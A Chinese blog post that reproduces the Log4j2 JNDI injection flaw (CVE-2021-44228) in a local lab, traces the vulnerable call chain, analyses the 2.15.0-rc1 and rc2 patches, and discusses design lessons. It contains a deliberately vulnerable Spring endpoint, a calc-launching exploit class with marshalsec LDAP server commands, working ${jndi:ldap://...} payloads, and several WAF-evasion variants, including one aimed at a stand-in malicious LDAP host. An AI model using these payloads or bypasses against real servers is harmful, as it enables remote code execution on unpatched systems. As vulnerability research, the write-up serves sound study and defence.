Log4j2(CVE-2021-44228)漏洞复现及原理思考


Log4j2(CVE-2021-44228)漏洞复现及原理思考

前言

Log4j2是一个Java日志组件,被各类Java框架广泛地使用。它的前身是Log4j,Log4j2重新构建和设计了框架,可以认为两者是完全独立的两个日志组件。本次漏洞影响范围为Log4j2最早期的版本2.0-beta9到2.15.0。

因为存在前身Log4j,而且都是Apache下的项目,不管是jar包名称还是package名称,看起来都很相似,导致有些人分不清自己用的是Log4j还是Log4j2。这里给出几个辨别方法:

  1. Log4j2分为2个jar包,一个是接口log4j-api-${版本号}.jar,一个是具体实现log4j-core-${版本号}.jar。Log4j只有一个jar包log4j-${版本号}.jar
  2. Log4j2的版本号目前均为2.x。Log4j的版本号均为1.x。
  3. Log4j2的package名称前缀为org.apache.logging.log4j。Log4j的package名称前缀为org.apache.log4j

Log4j2的JNDI注入漏洞(CVE-2021-44228)可以称之为“核弹”级别。Log4j2作为类似jdk级别的基础类库,几乎无人幸免。

一、漏洞复现

(一)服务端环境搭建

开发环境:IDEA 2021.2、JDK 8

新建一个Spring项目,FileNewProject,配置如下

勾选Spring Web

如果第一次创建,需稍等片刻下载spring-boot相关依赖,IDEA右下角可查看相关依赖下载进度。

修改pom.xml文件

添加如下代码

<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.8.1</version>
</dependency>
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.8.1</version>
</dependency>

log4j_demo\src\main\java\com\example\log4j_demo下创建HelloLog4j.java,内容如下

package com.example.log4j_demo;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RestController;

import java.util.Map;

@RestController
public class HelloLog4j {

    private Logger  Logger = LogManager.getLogger(HelloLog4j.class);

    @RequestMapping(value = "/login" , method = {RequestMethod.POST})
    public String login(@RequestBody Map body) {
        String user = body.get("user").toString();
        String password = body.get("password").toString();

        Logger.error("user:{}, password:{}" , user ,password);
        return "login";
    }
}

IDEA右上角选择Log4jDemoApplicationEdit Configurations,弹窗修改EnvironmentVM options

-Dcom.sun.jndi.ldap.object.trustURLCodebase=true

然后需要检查几个地方

1. JDK版本相关

可能出现的报错,参考:【Java异常】IDEA 报错:无效的目标发行版:17

pom.xml文件中的java.version属性需为8

FileProject StructureProject,SDK版本如下

FileProject StructureModules,Language level如下

SettingsJava Compiler如下

2. SprinBoot版本相关

可能出现的报错,参考:类文件具有错误的版本 61.0, 应为 52.0

pom.xml文件中spring-boot版本

因为Spring官方发布从Spring 6以及SprinBoot 3.0开始最低支持JDK 17,此处用的JDK 8,所以需将SpringBoot版本降低为3.0以下,笔者此处用2.7.8。

上面检查好后,右上角绿色小三角运行项目,控制台输出如下

浏览器访问:http://127.0.0.1:8080/login,错误页面是因为代码中只接收POST请求,不影响

(二)编写EXP

新建一个Java项目,FileNewProject

然后直接Next→Next→起个项目名Exp→Finish

在src目录新建一个Exp.java,内容如下

import java.io.IOException;

public class Exp {
    public Exp(){
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) {
        Exp exploit = new Exp();
    }
}

右键运行,可看到计算器被打开,且项目目录Exp\out\production\Exp下生成了Exp.class

在此目录打开cmd,开一个http服务

然后利用反序列化工具marshalsec,开一个LDAP服务

下载:https://github.com/mbechler/marshalsec

参考:https://exploit-notes.hdks.org/exploit/web/log4j-pentesting/#exploit-apache-solr-(jndi)

下载marshalsec,进到主目录,用如下命令编译

mvn clean package -DskipTests

编译成功cmd窗口末尾会显示如下内容

然后开启LDAP服务

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:9898/#Exp"

通过HackBar用POST请求发送json格式payload如下,执行后,会弹出系统计算机

{
	"user": "wa0er",
	"password": "${jndi:ldap://127.0.0.1:1389/Exp}"
}

此时看LDAP和HTTP服务窗口如下,Exp.class被调用执行

复现成功!

二、原理分析

(一)JNDI注入

参考:https://xz.aliyun.com/t/12277#toc-2

https://tttang.com/archive/1611/#toc_jndi

JNDI(Java Naming and Directory Interface)是一个应用程序设计的 API,一种标准的 Java 命名系统接口。若程序定义了 JDNI 中的接口 API ,则就可以通过该接口 API 访问系统的 命令服务目录服务,如下图。JNDI可访问的现有的目录及服务有:JDBCLDAPRMIDNSNISCORBA

JNDI 注入,即当开发者在定义 JNDI 接口初始化时,lookup() 方法的参数可控,攻击者就可以将恶意的 url 传入参数远程加载恶意payload,造成注入攻击。

(二)调试分析

由于是JNDI注入,因此可以在InitialContext.lookup(String name)方法下断点(也可以在创建的HelloLog4j.javaLogger.error()处下断点一步一步调试过来,但初次分析依然建议在InitialContext下断点,因为调用链较复杂,涉及循环、分支,且中间有一部分与此漏洞的产生关系不大)

有几个关键点

Logger.error
  ......
    MessagePatternConverter.format
      ....
        StrSubstitutor.resolveVariable
          Interpolator.lookup
            JndiLookup.lookup
              JndiManager.lookup
                InitialContext.lookup

1. Logger.error()

Logger.error()处进来

在进行Logger.error()日志记录时会采用logIfEnabled()方法进行判断,isEnabled()返回为true才可以继续进行日志操作。这里也是漏洞能否成功触发的关键。

在本次漏洞分析过程中日志等级level为ERROR,它的intLevel()为200,而本环境中默认的日志级别this.intLevel为200(ERROR),正好满足this.intLevel >= level.intLevel()

此时filter()方法返回true,即isEnabled()返回为true,成功进入到logMessage()方法中。log4j默认的日志级别定义如下图,从上到下级别逐渐降低,intLevel()数值逐渐增大,分别是:OFF(0)、FATAL(100)、ERROR(200)、WARN(300)、INFO(400)、DEBUG(500)、TRACE(600)、ALL(2147483647)。由此可见,漏洞能否成功触发与设置的日志Level有关,需要不低于默认日志级别。

然后中间就是读取配置文件创建event事件等操作,一直到MessagePatternConverter.format()

2. MessagePatternConverter.format()

该方法对日志内容进行解析和格式化,并返回最终格式化后的日志内容。当碰到日志内容中包含${子串时,调用StrSubstitutor进行进一步解析。

3. StrSubstitutor.resolveVariable()

StrSubstitutor将${}之间的内容提取出来,调用并传递给Interpolator.lookup()方法,实现Lookup功能。

其中,StrSubstitutor.substitute()会经过如下for循环,匹配:-子串,这里就为后面的waf绕过提供了思路。

4. Interpolator.lookup()

Interpolator实际是一个实现Lookup功能的代理类,该类在成员变量strLookupMap中(**本环境是lookups**)保存着各类Lookup功能的真正实现类。Interpolator对上一步提取出的内容解析后,从strLookupMap获得Lookup功能实现类,并调用实现类的lookup()方法。

例如对本例子中的jndi:ldap://127.0.0.1:1389/Exp解析后得到jndi的Lookup功能实现类为JndiLookup,并调用JndiLookup.lookup()方法。

5. JndiLookup.lookup()

JndiLookup.lookup()方法调用JndiManager.lookup()方法处理jndi对象。

6. JndiManager.lookup()

JndiManager.lookup()直接委托给InitialContext.lookup()方法。这里单独提到该方法,是因为后续的补丁中较为重要的变更即为该方法。

至此,后续即可按照常规jndi注入路径进行分析。

三、补丁分析

(一)2.15.0-rc1

通过比较2.15.0-rc1和该版本之前最后一个版本2.14.1之间的差异,可以发现Log4j2团队在12月5日提交了一个名为Restrict LDAP access via JNDI (#608)的commit。该commit的详细内容如下链接:

https://github.com/apache/logging-log4j2/commit/c77b3cb39312b83b053d23a2158b99ac7de44dd3

除去一些测试代码和辅助代码,该commit最主要内容是在 JndiManager.lookup()方法增加了几种限制,分别是allowedHostsallowedClassesallowedProtocols

由于rc1未在maven中央仓库上,因此需要自行下载代码并构建:

到Log4j2的GitHub官方仓库下载rc1:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1。

分别进入log4j-api和log4j-core目录,执行mvn clean install -DskipTests。最终会在本地maven仓库上生成rc1的jar包,版本为2.15.0,后续测试使用该jar包。

说明:此处笔者尝试构建时,maven的国内镜像(阿里云、腾讯云、华为云、网易云)均无法解析2.15.0的jar包

以下图片参考:https://www.freebuf.com/vuls/316143.html

各个限制的内容分别如下:

可以看到,rc1补丁通过对JNDI Lookup增加白名单的方式,限制默认可以访问的主机为本地IP,限制默认支持的协议类型为javaldapldaps,限制LDAP协议默认可以使用的Java类型为少数基础类型,从而大大减少了默认的攻击面。

(二)2.15.0-rc2

1. rc1中存在的问题

rc1里主要修复的JndiManager.lookup()方法的整体逻辑结构如下:

public synchronized <T> T lookup(final String name) throws NamingException {
    try {
        URI uri = new URI(name);
        if (uri.getScheme() != null) {
            if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) {
                ......
                return null;
            }
            if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) {
                if (!allowedHosts.contains(uri.getHost())) {
                    ......
                    return null;
                }
                ......
                            if (!allowedClasses.contains(className)) {
                                ......
                                return null;
                            }
                ......
            }
        }
    } catch (URISyntaxException ex) {
        // This is OK.
    }
    return (T) this.context.lookup(name);
}

从上面的代码结构中可以总结如下的逻辑:

  • 对传入的name参数进行前面提到的三类白名单检查。如果检查不通过,则直接返回null
  • 如果产生URISyntaxException,则对该异常忽略,继续执行this.context.lookup(name)
  • 如果未产生URISyntaxException,则执行this.context.lookup(name)

重点关注catch代码块,rc1默认不对URISyntaxException异常做任何处理,继续执行后续逻辑,即this.context.lookup(name)

再看下try代码块中可能产生URISyntaxException的地方。好巧不巧,try代码块的第一个语句就可能产生该异常:URI uri = new URI(name);

试想一下,如果能构造某个特殊的URI,导致URI uri = new URI(name);语句解析URI异常,抛出URISyntaxException,但又能被this.context.lookup(name)正确处理,不就可以绕过了吗?例如构建一个带空格的URI地址(${jndi:ldap://127.0.0.1:1389/ Exp},由于撰写本文时无法构建rc1代码,故可参考https://www.freebuf.com/vuls/316143.html)

2. rc2的修复方案

通过比较2.15.0-rc1和2.15.0-rc2之间的差异,可以发现Log4j2团队在12月10日提交了一个名为Handle URI exception的commit。该commit的详细内容如下链接:

https://github.com/apache/logging-log4j2/commit/bac0d8a35c7e354a0d3f706569116dff6c6bd658

该commit主要内容是对rc1中JndiManager.lookup()方法里的catch代码块进行了修改:当URISyntaxException异常被捕获时,直接返回null。从而避免了上面提到的绕过思路。

四、WAF绕过

各大厂商针对log4j2漏洞应急方案集合:https://mp.weixin.qq.com/s/ZbzLc_N26lgUfvS-mM4R2g

由于Log4j2框架几乎是一个类似JDK级别的基础类库,即便自身应用程序里完成了升级,但大量存在依赖引入的其它框架、中间件导致升级工作极为困难,甚至在几年内都无法达到一个可接受的水平。目前,绝大部分公司采取在边界防护设备上使用“临时补丁”的方式。同时,大量bypass方法也随之而来,这将是一个漫长的过程。

WAF主要思路是过滤jndi、ldap、rmi等关键字;过滤ip:port

原始payload

${jndi:ldap://malicious-ldap-server.com/Exp}

(一)绕过思路1

前面分析提到过,StrSubstitutor首先会匹配${,然后还会匹配:-

${${::-j}ndi:${::-l}dap://127.0.0.1:1389/Exp}为例

如果找到:-,就截取:-之前的变量赋值给varName,截取:-到末尾的字符串赋值为varDefaultValve,然后就跳出循环。

然后使用resolveVariable() 对varName的内容进行判断,如果不匹配任何log4j2支持的协议,就返回null(这里varName的值为:)。之后就会把varDefaultValve的值(这里为j)赋给varValue。然后再用varValue替换整个${::-j},即最后结果为jndi:ldap://127.0.0.1:1389/Exp

所以绕过的方法可以是:

${任意字符串:-实际想要的字符串} = 实际想要的字符串
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://127.0.0.1:1389/Exp}

注意:这里的任意字符串不能为log4j2支持的Interpolator前缀。

(二)绕过思路2

Interpolator除jndi外,还支持解析很多其它前缀,如envlowerupper,所以可以用如下思路来处理关键字(部分版本不支持lowerupper等协议):

${jndi:${lower:l}${lower:d}a${lower:p}://127.0.0.1:1389/Exp}

(三)绕过思路3

针对过滤ip:port,可用域名代替或用默认端口开启ldap服务

${jndi:ldap://malicious-ldap-server.com/Exp}
${jndi:ldap://malicious-ip/Exp}	#此时需要ldap服务端口为389

五、思考

Log4j2漏洞就其自身原理来说,并不复杂,本质上就是jndi注入,分析过程也主要聚焦于jndi注入的产生过程。rc1中采用较为严格的白名单策略,从应急处理的角度看无可厚非。但从历史上发生的各类漏洞修补过程来看,必定会有各种地方遗漏导致后续不断地打补丁。对于WAF的绕过,纵观古今漏洞,往往能在漏洞产生路线的周围找到绕过思路,就像高速公路一样,总会有“事故多发路段”。从软件开发角度讲,与其在上线后不停修复打补丁,不如在开发早期,即设计阶段或者开发阶段,尽量避免这类有可能产生安全风险的设计。在2.16.0版本,Log4j2团队干脆默认禁用掉了JNDI Lookup功能。

另外,rc1中catch代码对异常的处理方式,在日常开发过程中也是容易犯的问题。软件开发中有一个安全原则:Fail Securely,意思是业务系统能够正确安全地处理各种异常和错误。虽然业务开发有时会为了便利性而牺牲一部分安全性,但对于Log4j此类偏底层的强依赖性类库,还是需要严格处理各种可能出现的错误和异常。

阿里云工程师发现Apache Log4j2组件漏洞后,按业界惯例向软件开发方Apache开源社区报告这一问题。但最终工信部网络安全管理局决定暂停阿里云作为上述合作单位6个月。对此,笔者想引用艾公的一句话作为结尾:尊严只在剑锋之上,真理只在大炮射程之内。

参考

记录一次log4j复现之旅(复现不了你来找我):https://blog.csdn.net/lmboss/article/details/123927020

Log4j2的JNDI注入漏洞(CVE-2021-44228)原理分析与思考:https://www.freebuf.com/vuls/316143.html

Apache Log4j2 Jndi RCE 高危漏洞分析与防御:https://paper.seebug.org/1787/

Log4j2 利用链与Waf绕过分析

Apache log4j2 远程命令执行漏洞复现:https://cloud.tencent.com/developer/article/2148989

log4j waf 绕过技巧:https://www.cnblogs.com/ph4nt0mer/p/15701647.html


文章作者: wa0er
版权声明: 本博客所有文章除特別声明外,均采用 CC BY-NC 4.0 许可协议。转载请注明来源 wa0er !
评论
  目录